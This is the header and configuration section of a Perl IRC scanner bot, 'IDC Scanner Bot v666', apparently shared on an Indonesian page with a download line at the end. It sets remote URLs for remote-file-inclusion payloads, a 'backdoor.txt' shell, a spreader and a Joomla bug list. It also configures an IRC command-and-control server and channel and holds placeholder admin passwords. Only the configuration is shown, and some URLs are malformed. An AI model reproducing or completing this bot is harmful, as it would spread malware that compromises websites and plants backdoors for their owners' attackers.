#!/usr/bin/perl
print('
########################################
## IDC Scanner Bot v666 ##
## Autodomainscaner edited by Aryo ##
## © Oct 2010, LinkchaTcreW ##
########################################
');
use strict;
use IO::Socket::INET;
use LWP::UserAgent;
use HTTP::Request;
my $versi = "v666";
my $cmdpre = "!"; #Command Prefix
##[ KONFIGURASI URL ]##
my $fx29id = "http://tempatuploadmu.com/fx29id1.txt??"; #AKID (Simple)
my $fx29id2 = "http://http://tempatuploadmu.com/fx29id2.txt??"; #AKID (Advanced)
my $fx29sh = "http://http://tempatuploadmu.com/backdoor.txt??"; #Fx29Sh (Optional)
my $bypass = "/google.php"; #Google Bypasserz (Optional)
my $pbot = ""; #phpbot (Optional)
my $thebot = ""; #phpbot2 (Optional)
my $cbot = ""; #phpbot3 (Optional)
my $botscan = ""; #botscanloader (Optional)
my $botedan = ""; #botedanloader (Optional)
##[ KONFIGURASI SOURCE ]##
my $mysite = "http://uploadtanmu.com/"; #Path to Sources URL (Optional)
my $spread = $mysite."spread.txt??"; #FxSpreadz (Optional)
my $joomlaz = $mysite."joomla.txt"; #Joomla's Bugs List (Required for Joomla RFI Scanner)
##[ KONFIGURASI IRC ]##
my @servers = ("irc.linkchat.org");
my %bot = (
nick => "[aryo]LinkchatCreW[".int(rand(100))."]",
ident => "link".int(rand(100)),
chan => ["#jogjacodex"],
server => $servers[rand(scalar(@servers))],
port => "6667"
);
##[ KONFIGURASI USER ]##
## status: admin, user
## cryptz: 0 = Non-Encrypted Password, 1 = Encrypted Password
my %boss = (
admin => {
pass => 'passwordmu',
status => "admin",
cryptz => 0,
login => 0
},
admin => {
pass => 'passwordmu',
status => "admin",
cryptz => 0,
login => 0
},
);
Silahkan download file scannernya DI SINI.




